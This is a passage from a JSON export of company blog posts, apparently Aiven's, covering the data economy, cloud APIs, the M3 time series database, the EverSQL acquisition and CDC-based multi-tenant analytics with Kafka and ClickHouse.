the data economy is concerned, Europe has barely left the starting blocks. And that’s a good thing because it means there is so much more to come.\n\nAs we head into 2025, there is a huge, and mostly untapped, opportunity to exploit data in a privacy-friendly way that makes all our lives better and that is the jackpot we want.","mainImage":{"_type":"mainImage","asset":{"_ref":"image-85b5721ee9ee1535a7de44ea499544030edcabd4-1200x630-png","_type":"reference"}},"publishedAt":"2024-11-20T10:41:09.020Z","seo":{"_type":"metaData","metaDescription":"According to the European Commission the region is projected to be €1 Trillion better off due to the growth in the data economy. But is that going to be enough?","metaImage":{"_type":"mainImage","asset":{"_ref":"image-85b5721ee9ee1535a7de44ea499544030edcabd4-1200x630-png","_type":"reference"}},"metaTitle":"A One Trillion Euro Windfall for Europe in 2025"},"slug":{"_type":"slug","current":"/blog/the-data-economy-a-one-trillion-euro-windfall-for-europe-in-2025"},"subtitle":"The Aiven Data Economy series explores the key drivers of the global data economy, featuring insights from leaders in startups, enterprises, investors, and Aiven experts.","title":"The Data Economy: A One Trillion Euro Windfall for Europe in 2025"}
{"__i18n_lang":"en","_createdAt":"2022-11-08T11:53:56Z","_id":"9a3a45e9-76c1-438a-9222-19f024dd7917","_rev":"h4ancfFTuSnQNBSq3JIjLw","_type":"post","_updatedAt":"2024-11-19T11:48:11Z","authors":[{"_key":"f9c67f3dcb82","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"Truly cloud-native applications compose their platforms from the best components available, ensuring that the needs of the application or platform are met. Typically this includes a compute platform, some data components to move, store and analyze data, some monitoring or observability solutions, and probably additional supporting systems such as identity management.\n\nWhen making the decisions about how to compose the best solution from the available services, it's important to consider not only the current needs, but also the future growth and evolution of the project. At the most basic level, making sure that there are existing integrations available between the components to be used. For companies that anticipate that their needs will change, it may also be possible to anticipate future requirements and include them for consideration.\n\nThe problem arises when a solution is implemented, and a new component is added to the system during its lifetime with no integration route. As always, the unknown unknowns are the worst, and often the most expensive to deal with. If you remember the time when every new phone you bought came with a new custom charger that didn't fit any other devices, you have a good idea of how far-reaching the decision to replace one piece of the puzzle can be. Your new phone now requires you to buy a new car charger, travel charger, headset...\n\nSo what can we do to future-proof our cloud platform decisions, and avoid the problem of new components being incompatible with our existing ecosystem?\n\n## Choose APIs\n\nThe first choice for any connection between two systems is an existing integration or component that is tested and ready for use. Usually this means a minimum amount of time and effort on implementation, and things should Just Work™. Sometimes, those integrations aren't already available between every combination of platforms, or your application may have specific needs that require a bespoke integration.\n\nSuccessful cloud transformation projects consider the future-proofability of their chosen services as well as the current requirements. An extensive (and publicly available) [list of integrations](https://aiven.io/integrations-and-connectors) is usually a good sign of a cloud service that will play nicely with others. With luck, everything you need for now and the rest of the lifetime of your project will be covered by those integrations - or the service will evolve as your needs do.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/5077ac90b7a1693c839307ebfd48b38699456e40-1422x710.png)\n\nThis opens the door to third-party extensions, and also gives you the freedom to build integrations that complete your perfect cloud platform. We see customers using our APIs to [automatically provision](https://aiven.io/blog/5-reasons-to-automate-your-data-infrastructure) platforms for development or testing, to power down nonessential systems at weekends to save on cloud bills, and to integrate with their custom CI (continuous integration) and build tooling.\n\nChoosing cloud services with APIs is like buying devices with standard ports and connectors. You can buy a charger from any manufacturer, and you can replace the phone, the headset, the car charger, or any other component without needing to replace them all. Similarly, if there's something new to add to your ecosystem in the future, while your provider may well produce a connector in a timely manner, having the APIs available means you can always integrate things yourself if you need to.\n\n\n## What happens next?\n\nSo, your phone setup is all done, and the next time you need to buy a new charger, or headset, you can do so in confidence the whole thing is still going to work. It's time to make this metaphor a reality, and make a call.\n\nTry these resources next:\n\n- Learn more about [Aiven's API](https://aiven.io/docs/tools/api.html)\n- View the full [API documentation](https://api.aiven.io/doc/)\n- Try the [Aiven API in Postman](https://www.postman.com/aiven-apis)\n\n::banner[Need monitoring? Orchestration? Data integration? Easily integrate Aiven services with your existing infra.]{ctaText=\"Explore all connectors \u0026 integrations\" ctaLink=\"https://aiven.io/integrations-and-connectors\" title=\"The Aiven Platform: for all the integrations you need\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c446472ea23609664e6c24f8dca7973cd0dc0185-608x608.png\" theme=\"dark\"}\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! \n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you still looking for a managed data platform? [Head to the Aiven Console to sign up for a free trial!](https://console.aiven.io/signup)\n","categories":[{"_key":"69709dddf011","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"34a865a2f6ff","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-5a5c32f1a39ade4ceb13bb9114f0edb42790fed0-3133x1688-png","_type":"reference"}},"publishedAt":"2022-11-11T14:25:24.838Z","related":[{"_key":"0a03e804dbbf","_ref":"b5983f68-dc8a-4425-8c63-563319eaa59d","_type":"reference"},{"_key":"21ab696ca690","_ref":"ea1a51d6-8e51-4fb6-ad67-974d76bbc0ed","_type":"reference"},{"_key":"d435b18f23d8","_ref":"a5e83a3d-2ace-4b5c-a9e1-9046a66959ed","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Did you know that an API is an important feature to look for when it comes to making cloud purchasing decisions? Visit the Aiven blog to find out why!","metaTitle":"Future-proof your cloud platform with Aiven API"},"slug":{"_type":"slug","current":"/blog/your-cloud-platform-isnt-future-proof-without-an-api"},"subtitle":"An API is an important feature to look for when it comes to making cloud purchasing decisions. Here's why.","title":"Your cloud platform isn't future-proof without an API"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"2CXbr629zjZaIp4ylrhkzD","_rev":"0h6e4MYEG0xbOjLBGGeyF8","_type":"post","_updatedAt":"2024-11-28T12:41:24Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Imagine you were tasked with building an industrial application. This application needs to store measured values from sensors on an assembly floor. Because of strict quality control regulations, you also need to record the data that these sensors collect with time as a key index, so that historical values can be analyzed.\n\nAs your sensors record new stimuli in the real world, you need to be able to continuously add data by appending a new entry (row) to the end of your table. This heavily write-intensive functionality is needed to track the state of your system - or the variables you decide to track - over time.\n\nYou considered using relational databases, e.g. PostgreSQL, but ran into some limitations:\n\n1. Time series data grows quickly, with heavy write loads. Scaling Postgres to fit the load is far from optimal because your ingestion and query performance will degrade massively as you scale — the [TimescaleDB] extension will alleviate some of those issues, but you'll still eventually run into scalability issues due to PostgreSQL’s source / replica model.\n\n2. You need a database with functions tailor-made for managing time series data. For example time functions and _ranges_, _granularities_ (with which to cluster query results), _aggregations_ (to summarize data from a range), and _contextual information_ for managing how queries are run, batched and timed-out on the sort of massive data sets that you now own and control.\n\nWith these requirements in mind, you’ve made the case for a __time series database (TSDB)__. In this piece, we'll briefly explain what a TSDB is and identify its most suitable use cases before diving deeply into __M3__, the distributed time series database, aggregator, and query engine. \n\nWe’ll look at what it is, what it does, how it does it, go through some of its key features, and examine the power of M3’s approach. But first, let’s look at the time series database.\n\n## What is a time series database?\nA time series database is designed to store data as pairs of time(s) and value(s). At its most elementary level, a TSDB pairs timestamps and data points — this provides the precise time the data was recorded.\n\nA TSDB can have multiple time series, with each series consisting of a metric and one or more tags that uniquely identify the metric. A metric can be any specific piece of data that you want to track over time.\n\nTwo common use cases for TSDBs are temperature and stock price monitoring. A time series database provides context for each data point in relation to the others in a continuous flow of data. The time data attached to events like temperature readings or stock prices can be cross-referenced to external events that may have influenced the values.\n\nFor example, a malfunctioning ventilation system may be the root cause of your manufacturing facility’s temperature rising above the upper threshold. Alternatively, a sharp rise in a company’s stock price could coincide with a successful IPO. \n\nStoring time data may not be necessary for databases that store records about unchanging objects, but for monitoring physical or virtual environments with constantly changing parameters, time is an essential variable.\n\nAnother use case is IoT, whose rise in adoption has in part been enabled by new technologies such as TSDBs. However, the number of use cases abound where collecting and tracking data over time is beneficial:\n\n- Monitoring CPUs, virtual machines, memory, and software systems; \n\n- Monitoring physical devices, sensor input, actuator input, and response; \n\n- Business intelligence: tracking key metrics and system/organizational health;\n\n- Monitoring vital/health statistics: tracking the state of the body;\n\n- Asset tracking: fleets, equipment, containers, human resources; \n\n- Energy consumption trends;\n\n- User/customer interaction data;\n\n- Logistics and shipping data.\n\nNow that we know what a time series database is, what makes it uniquely capable to handle time series data, and the kind of use cases it's purpose-built for, we’re ready to check out M3.\n\n## The history of M3DB\nIn the past, as time series applications took in massive amounts of data, some of the original single-node, single-threaded solutions began to come up short, right along with the non-distributed nature of their databases.\n\n[Uber’s version of this story](https://eng.uber.com/m3/) involved [Graphite](https://graphiteapp.org/), which served as their main metrics store. However, Graphite’s poor resilience and lack of replication functionality inevitably led to data loss, and Uber quickly moved away from it as their platform’s needs grew.\n\nUber devised plans for a new platform with fault-tolerant metrics ingestion, storage, and queriability, serving five specific goals:\n\n__1. Improved reliability and scalability:__ to avoid worrying over availability loss or accuracy deterioration.\n\n__2. Cross-data center query results:__ to globally and holistically monitor and control services and infrastructure.\n\n__3. Low latency SLA (service level agreement):__ to ensure dashboards and alert query latency remain interactive, responsive, and reliable.\n\n__4. First-class dimensional “tagged” metrics:__ for the flexible, tagged data model that Prometheus is already known for.\n\n__5. Backward compatibility:__ to guarantee that legacy services emitting [StatsD](https://github.com/etsy/statsd/wiki) and Graphite metrics maintain functionality without interruption.\n\nTo accomplish their goals, Uber realized that they would need to build a solution from scratch and with that, M3 was born. Initially intended to be a distributed Prometheus sidecar, M3 was developed further to overcome Prometheus’s single-node scalability and durability limits, while enabling essential backward compatibility, effectively rendering the company’s once static Prometheus resources now scalable and configurable multi-tenant.\n\nTo that end, M3 included a Prometheus-compatible query engine and supporting framework that could instantly access and store Uber’s billions of back-end metrics. M3 was [open sourced](https://hub.packtpub.com/uber-open-sources-its-large-scale-metrics-platform-m3-for-prometheus/) in 2018 so that the broader development community could benefit from its robust functionality — similar to what SoundCloud did with [Prometheus](https://developers.soundcloud.com/blog/prometheus-monitoring-at-soundcloud) in 2012.\n\n## What is M3 and M3DB?\nM3 is a globally scalable, highly available, open-source distributed metrics platform. Along with horizontal scalability, M3 possesses excellent data compression, resolution (aggregation), and geo-distribution capabilities.\n\nLet’s clear up a bit of confusion — M3 is not just a database. It’s actually a platform that includes a native, distributed time series database (M3DB), an aggregation service, a query engine, and other supporting infrastructure.\n\nM3 has multiple components, but here are the most important ones:\n\n- __M3DB:__ the core storage service. A distributed-by-node time series database. Built in Go, it comes with extensible, scalable storage, and reverse-index time series.\n\n- __M3 Aggregator:__ a metrics-aggregator service, providing stream-based downsampling. Data can be aggregated based on predefined criteria.\n\n- __M3 Coordinator:__ a service coordinating reads and writes between systems and maintaining cluster consensus that can accept multiple formats (e.g. Prometheus, collectd, fluentd, and many more).\n\nM3 integrates out of the box with Prometheus, Graphite, and [Grafana](https://aiven.io/grafana) for metrics and data visualization. So what exactly can M3 _do_?\n\n## What can M3DB do?\nSimply put, M3 as a whole provides the capability to manage multi-dimensional time series data scalably and durably, and to act as the backbone for unlimited metrics capabilities. \n\nHere’s an example of raw time series data being produced by a service. Our measurement unit for the timestamp is in _nanoseconds_ (ns):\n\n![raw time series data table](//cdn.sanity.io/images/sczeoy4w/production/5537ff51910b19c712788618052be002fb1b2f12-3100x1898.png)\n\nWhen indexing by timestamp, there are aggregations and other functions for time series data that are perhaps not found as easily (nor used as efficiently) in relational databases. Time series data, which are appended as records to the end of the table (namespace in M3 parlance) as new data are written, may typically contain a ___timestamp___, some ___metric___, ___label___ and ___value___. Time series databases, like M3DB, are designed to make the best use of this data. \n\nAnd this is how the above data may be stored in M3DB — in this case, timestamped events are being aggregated by metric.\n\n![time series data stored in m3 table](//cdn.sanity.io/images/sczeoy4w/production/c8502d983696beb74e8cf872de89a5174df1f0f0-3100x1401.png)\n\n### The M3DB data model\nTo support the aggregation of time series data, M3 employs a few data modeling concepts, hierarchically:\n\n- __Database:__ Single instance always. This is the highest level in the data model.\n\n- __Namespace(s):__ (_inside Database_)\n  - Analogous to a table\n  - Time-limited (months’, weeks’, days’ worth of data, for example)\n  - Unaggregated or aggregated (at fixed intervals)\n  - Queries will use the namespace(s) that best fit them.\n- __Shard(s):__ (_inside Namespace_)\n  - Contains arbitrary series\n  - Sharded by ID\n  - Shards are replicated to a number of nodes based on the replication factor\n- __(Time) series:__ (_inside Shard_)\n  - __Buffer:__ Recent data collected in memory (and in write-ahead log never used for reads)\n  - __Blocks:__ Immutable data persisted to disk as filesets (per Shard).\n\nUber uses this data architecture and model to process __tens of trillions of metrics per day__, and upwards of hundreds of millions per second with ~20 million aggregated metrics available at any given time. This is way beyond the capabilities of other time series databases or set ups.\n\nTo find out how M3 can process data at this scale, let’s look at how it works.\n\n## How does M3 work?\nM3DB’s storage engine can be best understood “...via the boundary between its in-memory object layout and on-disk representation.” That is to say, memory use plays at least as significant a role in M3’s throughput and performance as does its disk writing mechanism.  \n\nHowever, M3DB as a storage layer is just one piece of the M3 architecture. To optimize performance, there are several different node types, provided as discrete components, each with different functions:\n\n![m3 architecture diagram](//cdn.sanity.io/images/sczeoy4w/production/4d25f5b09fe9efa0d54e592b07c1c82fe5489bf6-1600x900.png)\n\nNow, let’s take a closer look at the main components that make up the M3 platform.\n\n## Components of M3\n### M3 Coordinator\nM3 Coordinator is responsible for reads and writes from upstream systems, such as Prometheus, Carbon, InfluxDB, etc to M3DB. It serves as a primary interface to REST API as a sidecar process for Prometheus that allows M3DB to act as a long-term data store.\n\nM3 Coordinator supports both data ingestion (writes to database) and queries (reads from database) with two subsets of itself:\n\n- __m3query:__  a read-only version\n- __m3ingest:__ a write-only version\n\nM3 documentation describes Coordinator as “...a bridge that users can deploy to access the benefits of M3DB such as long-term storage and multi-DC setup with other monitoring systems, such as Prometheus.”\n\nCoordinator gets your data where it needs to be. To get data into long-term storage, you need to decide the granularity with which the data can be displayed in analytics. This is where M3 Aggregator comes into play.\n\n### M3 Aggregator\nM3 Aggregator handles metrics aggregation over time. Based on dynamic rules stored in etcd, it provides stream-based downsampling — decreasing the granularity of your time series data and making it more applicable for analytics functions.\n\nM3 Aggregator runs as a dedicated downsampler, which allows metrics to be stored at different resolutions. While some of M3 Aggregator’s features are found in M3 Coordinator, a dedicated aggregation function that is sharded — as is the case in M3 Aggregator — requires less care to deploy and run in high availability.\n\nM3 Aggregator communicates using [m3msg](https://github.com/m3db/m3msg), a pub-sub mechanism. As a partitioned message queuing, routing, and delivery library, it facilitates high-speed message transmission without the need for disk durability.\n\n### M3DB\nM3DB is where actual data storage takes place. It provides a reverse index and does not have a public API. Instead, it uses an Apache-Thrift based RPC mechanism as its main communication method.\n\nM3DB uses a shard design similar to [Apache Cassandra’s](https://aiven.io/blog/an-introduction-to-apache-cassandra) in that the __shard ID is derived__ by adding the metric’s murmur3 hash to its labels; by default, __shards are assigned__ from a pool of 4096 virtual shards.\n\nThese __shards are mapped__ to real nodes based on the ___replication factor___ (the configured number of nodes to which a shard is to be replicated). The number of shards created is immutable after cluster creation.\n\nM3DB leverages memory, but the actual on-disk storage consists of write-ahead logs (WALs) to represent blocks in memory, and immutable filesets containing the data. The primary unit of long-term storage for M3DB are called filesets. A fileset includes the following file types:\n\n- __Info file:__ Stores metadata about the fileset volume as well as the block time start and size.\n\n- __Summaries file:__ Stores a part of the index file to keep the contents in memory and allows for fast indexing with linear scanning.\n\n- __Index file:__ Stores series metadata, including tags for indexing purposes, and the location of the compressed stream for retrieval purposes.\n\n- __Data file:__ Stores the series compressed data streams.\n\n- __Bloom filter file:__ Stores a bloom filter bitset for all series contained in the filesets.\n\n- __Digests file:__ Stores the digest checksums of the info file, summaries file, index file, data file, and bloom filter for integrity verification.\n\n- __Checkpoint file:__ Stores a digest of the digests file for the purpose of quickly checking if a volume was completed.\n\nFilesets are flushed to the disk once new entries are no longer expected for a particular block, so filesets represent older data, in a sense.\n\nAll M3 components are written entirely in [Go](https://go.dev/) programming language. [M3Query](https://m3db.io/v1.0/docs/how_to/query/), a distributed query engine supporting PromQL and Graphite, with M3QL query language is coming soon, therefore PromQL query language serves as a stand-in for the time being.\n\n## A note on query languages, including PromQL\nM3QL via M3Query is currently under development, but for now, it’s possible to query M3 via REST API using [PromQL](https://prometheus.io/docs/prometheus/latest/querying/basics/) and Graphite. In fact, M3 is already used by many as an extension of Prometheus’s storage capabilities, and as providing a backward-compatible antidote to Graphite’s scaling limitations.               \n\n## The power of M3 in summary\nM3 is __fully open source__, with a top-notch developer community and development process. M3 is horizontally scalable via its architecture but consists of components that can easily be co-located or distributed. The M3 platform offers a wide range of features and tooling and is the best all-in-one platform for processing time-series data.\n\nThese features include:\n\n- __Cluster management:__ Out-of-the-box support for multiple clusters, using etcd;\n\n- __Built-in replication:__ Configurable durability for your needs;\n\n- __Customizable consistency:__ Quorum, higher or lower based on your durability SLA;\n\n- __High compression:__ Inspired by Facebook’s Gorilla TSZ compression, configurable as lossless or lossy;\n\n- __Arbitrary Time Precision:__ Available from seconds to nanoseconds; you can also switch precision with any write;\n\n- __Out-of-order writes:__ Handled seamlessly, at least until the block is flushed to the fileset (typically currently writes are time-limited to hours); cold writes to flushed filesets are under development\n\n- __Seamless compatibility:__ With Prometheus, Graphite, and InfluxDB to name a few.\n\n## Aiven for M3\n[M3](https://aiven.io/m3) and M3 Aggregator, are currently available as managed services. Why is this important? Aside from the exponential increase in time series workloads over the past few years, it is the first managed open-source, distributed time series database, thereby unlocking the potential of the use case.\n\nAs with other Aiven services, you don’t need to worry about configuration, management, deployment, or updates with a managed M3 service. You will also have access to a full suite of integrations and industry-leading tooling to ensure cluster reliability and scalability.\n\nM3 has some excellent performance upsides for a managed service. These include a lean memory footprint to avoid bottlenecks, out-of-the box support for multiple clusters, metrics-pipeline optimizations, and as mentioned before, Gorilla TSZ-based compression — [try it out for yourself](https://console.aiven.io/signup).\n\n## Wrapping up\nIn this article, we provided a high-level overview of time series data and why TSDBs are needed and looked at M3 in detail: what it is, what it does, how it does it, went through some of the features, and examined the power of M3’s approach.\n\nAnd lastly, we discussed why we’re offering it as a managed service. Stay tuned and follow our [blog](https://aiven.io/blog) to remain up-to-date. You can also follow our [changelog](https://aiven.io/changelog) RSS feed, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).\n\n## Further reading\n\nIf you're thinking about plugging M3 into Grafana, have a look at Lorna Mitchell's post [Metrics and graphs with M3 and Grafana](https://aiven.io/blog/metrics-and-graphs-with-m3-and-grafana \"Aiven blog: Metrics and graphs with M3 and Grafana\")\n\n[![Time-series-microsite-promo-banner](//cdn.sanity.io/images/sczeoy4w/production/87a0beff0e573475a21a5f66ba0b04aac86121fd-3333x981.jpg)](https://aiven.io/time-series-databases)","categories":[{"_key":"oYj5ZpGrJSISGkb52BoVg","_ref":"oYj5ZpGrJSISGkb52BoVg","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"6jjlGcMpx0GJyFCwYDXTGu","_ref":"6jjlGcMpx0GJyFCwYDXTGu","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-f627adc2c95dc69241a0dc02ad66d9330db271bc-1567x844-png","_type":"reference"}},"publishedAt":"2020-09-09T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"M3DB holds great promise for time series use cases. We lay out the reasons why in this deep dive into the open-source time series database.","metaImage":{"alt":"","asset":{"_ref":"image-f627adc2c95dc69241a0dc02ad66d9330db271bc-1567x844-png","_type":"reference"}},"metaTitle":"The power of Aiven for M3 – Discover the benefits now"},"slug":{"_type":"slug","current":"/blog/an-introduction-to-m3"},"subtitle":"Take a closer look at Aiven for M3, and discover the easy way to get more from time series data.","title":"What is M3DB?"}
{"__i18n_lang":"en","_createdAt":"2023-11-21T13:40:45Z","_id":"af003bf7-aba3-434b-ade1-570f947699e1","_rev":"T130WEs22RB6SoEkO93G5a","_type":"post","_updatedAt":"2024-11-18T10:56:51Z","authors":[{"_key":"bfb3613f6999","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"*I am delighted to announce we have acquired EverSQL, a leader in the database optimization space. EverSQL’s software uses AI to give companies automated and personalized insights into how to fine tune their databases for better performance and cost, and will soon be integrated into the Aiven platform. Our new relationship with EverSQL underscores our commitment to helping customers focus on innovation by continually reducing their management burden.*\n\n\n \n### Data-centric applications bring business value ###\n\nToday’s world is driven by data. Businesses rely on it to make decisions, understand their customers’ behaviors and optimize their operations. Data volumes are growing exponentially. Data has become increasingly distributed and tools used to manage the data have proliferated. As companies scale operations, add more data sources or integrate new systems, the data infrastructure continues to get more complex. This has become a big management challenge for companies, as it takes away important resources – people and money – from developing applications that bring business value and ultimately create market differentiation.\n\n \n### Removing the data infrastructure management burden ###\n\nAiven’s mission is to take the pain and effort out of managing the infrastructure, so that companies can focus on innovation. We’re always striving to make it as easy as possible for customers to capture more value from their use of open source technologies, and to improve the service we provide. That’s why we’re exploring different ways AI can be applied to our platform – to make our customers’ data ecosystems even more cost and resource efficient.\n\n \n### EverSQL’s AI-powered software automates database performance analysis ###\n\nAs part of these efforts, we’re excited to announce the acquisition of EverSQL, a leader in database optimization. EverSQL is inspired by the same goal as Aiven – to free up time for innovation by simplifying data management and optimization. Integrating EverSQL’s AI-powered optimization engine into Aiven’s open source platform means that Aiven customers will benefit from automated, personalized and actionable insights to help fine-tune their data architecture.\n \nEverSQL was established in 2019 by Oded Valin and Tomer Shay. They recognized that, as the volume of data expands, performance and cost issues arise, which requires time-consuming effort to identify, troubleshoot and optimize the data environment. Their mission was to speed up applications by transforming and automating database performance analysis, thereby allowing software engineers to focus on innovation. \n\nEverSQL has grown quickly in popularity and is now a leader in the optimization space for a range of technologies like PostgreSQL® and MySQL®, with more than 100,000 software engineers in 90 countries using the AI-powered solution to optimize their workloads. \n\n\n### EverSQL’s AI-powered engine brings new optimization capabilities to the Aiven platform ###\n\nBy joining efforts with EverSQL, we’re enhancing the Aiven data platform with AI, accelerating our innovation in the AI space and building a new team focused on AI optimizations.\n \nIn the first half of 2024, we will offer customers several new features that deploy EverSQL’s AI-powered engine, including query optimizations and index recommendations. We will expand our capabilities later in the year to include monitoring and alerting, supported by automatically generated optimization insights that are quick and easy to understand and implement. These features will initially be available for Aiven for PostgreSQL® and Aiven for MySQL®. We will then extend them to other services across our platform so customers can optimize their whole workload according to their price-performance requirements.\n\n \n### Collectively delivering more value to our customers ### \n\nWe are pleased to welcome the talented EverSQL team to Aiven. The combination of EverSQL’s industry-leading, AI-powered database optimization tool and Aiven’s open source cloud data platform is a compelling and unique offering for businesses of all kinds. It will help them navigate the evolving demands of a dynamic data environment and unlock the potential of their organization’s data ecosystem. We’re excited to work together to provide increased support, value and capability to our combined customer base.\n \nIf you’re curious about all the exciting capabilities we will be adding onto our platform, you can already explore EverSQL services on [eversql.com](https://www.eversql.com/) and use code ‘EverSQL-Aiven-Gift’ at checkout to receive a free month on EverSQL's Starter or Plus plans, worth $500. \n\nStay tuned for further updates!","categories":[{"_key":"38bc2da9200a","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aiven acquires EverSQL","asset":{"_ref":"image-c1fe7c8e0d4945c1ffdda7582652c8e3166b070c-1200x628-png","_type":"reference"}},"publishedAt":"2023-11-21T14:00:46.242Z","seo":{"_type":"metaData","metaDescription":"Integration of EverSQL’s AI-powered engine into the Aiven open source data platform will deliver new performance and cost optimization capabilities to customers","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c1fe7c8e0d4945c1ffdda7582652c8e3166b070c-1200x628-png","_type":"reference"}},"metaTitle":"Aiven's Strategic Acquisition of EverSQL | Get Informed"},"slug":{"_type":"slug","current":"/blog/aiven-acquires-eversql"},"subtitle":"Integration of EverSQL’s AI-powered engine into the Aiven open source data platform will deliver new performance and cost optimization capabilities to customers","title":"Aiven enhances platform with AI-powered data optimization capabilities"}
{"__i18n_lang":"en","_createdAt":"2024-04-17T14:33:34Z","_id":"467f9fbf-31af-480d-a70b-2b83fdd882a4","_rev":"h4ancfFTuSnQNBSq3FtkEG","_type":"post","_updatedAt":"2024-11-18T11:13:30Z","authors":[{"_key":"26bad0756dd2","_ref":"3gY7BY02heuVTQu1HRmMy6","_type":"reference"}],"body":"In the realm of multi-tenant Software-as-a-Service (SaaS) applications, managing a centralized PostgreSQL® database for multiple customers can present challenges in maintaining secure segregation of their data. While a single database offers infrastructure efficiency, it becomes crucial to ensure each organization has isolated access and control over their information. This blog post introduces a groundbreaking solution that shatters these limitations, enabling secure and performant multi-tenant analytics for your PostgreSQL® deployments.\n\n## Technology Overview\n\nThe key to unlocking this potential lies in a powerful combination of technologies:\n\n* **Apache Kafka® and Debezium®:** This dynamic duo captures changes (inserts, updates, and deletes) in real-time from your PostgreSQL® database and streams them to Apache Kafka®, a high-throughput messaging system.\n* **ClickHouse®:** This column-oriented database swoops in, boasting exceptional query speeds and storage compression with some key features to enhance multi-tenant environments: \n\t* [Materialized Views](https://aiven.io/docs/products/clickhouse/howto/materialized-views): These pre-processed datasets offer lightning-fast querying for frequently accessed data, securely segregating each organization's data.\n\t* [ReplacingMergeTree Engine](https://clickhouse.com/docs/en/engines/table-engines/mergetree-family/replacingmergetree#replacingmergetree): This engine efficiently stores and manages historical data without duplicates, allowing you to analyze trends across different tenants over time.\n\n## Unleashing Real-Time Analytics with Secure Multi-tenancy\n\nImagine you provide a SaaS platform for e-commerce businesses. Traditionally, storing all customer data in a single PostgreSQL® database creates a complex environment where providing data only to the organization it belongs to is challenging.\n\nThis CDC (Change Data Capture) solution built with Apache Kafka®, Debezium®, and ClickHouse® breaks free from these limitations. Here's how it empowers real-time analytics in a multi-tenant environment with secured, segregated databases:\n\n![PostgreSQL to ClickHouse flow diagram](https://cdn.sanity.io/images/sczeoy4w/production/2a0b07dce74b3f39b7f83de6f2cf121a60e2c6f7-811x351.png)\n\n1. **Real-time Change Capture:** Debezium acts as a watchful guardian, constantly monitoring your PostgreSQL® database for any modifications. Inserts, updates, and including deletes are captured in real-time, ensuring your data reflects the latest customer activity.\n2. **Streaming Updates via Apache Kafka®:** These captured changes are then streamed to Kafka®, a robust messaging system that acts as a central hub. Kafka® buffers and delivers this data stream efficiently, ensuring reliable delivery for further processing.\n3. **ClickHouse® Takes the Stage:** ClickHouse®, the star of the show, subscribes to relevant Kafka® topics using the ClickHouse® Kafka Engine. It continuously ingests the updates, keeping your data perpetually fresh.\n4. **Secure Segregation with Materialized Views:** ClickHouse® shines even brighter with materialized views. These act as pre-aggregated datasets specific to each tenant (e.g., Where only user *group A* have access to *organization A* and user *group B* could only access *organization B* in the code example). They offer blazing-fast query speeds for frequently asked questions, allowing each organization to gain immediate insights into their own segregated data without compromising security or performance.\n5. **Historical Analysis with ReplacingMergeTree:** But what about analyzing trends over longer periods? ClickHouse® has you covered with the ReplacingMergeTree engine. This engine excels at storing and managing historical data efficiently, enabling you to analyze customer behavior across different tenants over time.\n\n## Benefits Highlights\n\nThis CDC solution unlocks a multitude of benefits for multi-tenant SaaS applications with secured segregated databases:\n* Real-time Analytics: Gain immediate insights into the latest data, allowing tenants to make data-driven decisions faster.\n* Reduced Latency: Eliminate delays in data processing, ensuring analytics reflect the current state of each tenant's business.\n* Scalability: The solution scales seamlessly to accommodate growing data volumes from multiple tenants.\n* Improved Efficiency: Streamlined data pipelines minimize operational overhead for managing a multi-tenant infrastructure.\n* Enhanced Security: Ensure robust isolation between tenant data, fostering trust and regulatory compliance.\n\n## Conclusion\n\nBy leveraging CDC with Kafka®, Debezium®, and ClickHouse®, you can revolutionize the way you manage data in your multi-tenant PostgreSQL® environment. This powerful combination ensures secure segregation of data, fosters secure multi-tenancy, and unlocks real-time analytics, ultimately giving your SaaS application a significant competitive edge.\nReady to break down limitations in managing secured segregated databases and empower your tenants with real-time insights? Get started with building your CDC pipeline today!\n\nLaunch a fully automated working data pipeline in minutes with our GitHub example here:\n[https://github.com/aiven/aiven-examples/tree/main/solutions/clickhouse-cdc](https://github.com/aiven/aiven-examples/tree/main/solutions/clickhouse-cdc)\n","categories":[{"_key":"c92c06b40793","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"},{"_key":"678aaf9dce02","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"e8e792c57869","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Secure, Segregated Multi-tenant Analytics in PostgreSQL® using Aiven for Apache Kafka®, Debezium®, and Aiven for ClickHouse®","asset":{"_ref":"image-81ce3c4076606fd5fadb15ced5fd35e83160a70a-1200x628-png","_type":"reference"}},"publishedAt":"2024-04-17T16:00:00.000Z","related":[{"_key":"7b51668e4839","_ref":"a6e96484-2c71-4574-9297-d68a69f822d7","_type":"reference"},{"_key":"165e5c80ee38","_ref":"c8901b43-32a7-4bce-9728-2f563c22aaa5","_type":"reference"},{"_key":"994b5313b551","_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Multi-Tenant Analytics in PostgreSQL® | Aiven "},"slug":{"_type":"slug","current":"/blog/secureanalytics-in-postgresqlr-using-aiven-for-clickhouse"},"subtitle":"Enabling secure and performant multi-tenant analytics for your PostgreSQL® deployments on Aiven's data platform.","title":"Secure, Segregated Multi-tenant 